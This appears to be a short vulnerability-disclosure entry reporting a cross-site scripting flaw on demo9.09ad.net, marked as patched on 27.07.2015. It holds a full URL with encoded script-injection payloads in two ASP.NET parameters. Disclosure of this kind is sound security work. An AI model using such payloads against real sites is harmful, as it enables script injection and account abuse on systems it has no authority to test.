demo9.09ad.net XSS vulnerability

Vulnerable URL: http://demo9.09ad.net/Error.aspx?403%3bhttp%3a%2f%2f09ad.net%3a80%2f?a=0&VIEWSTATE=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E&VIEWSTATEGENERATOR=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| Yes, at 27.07.2015...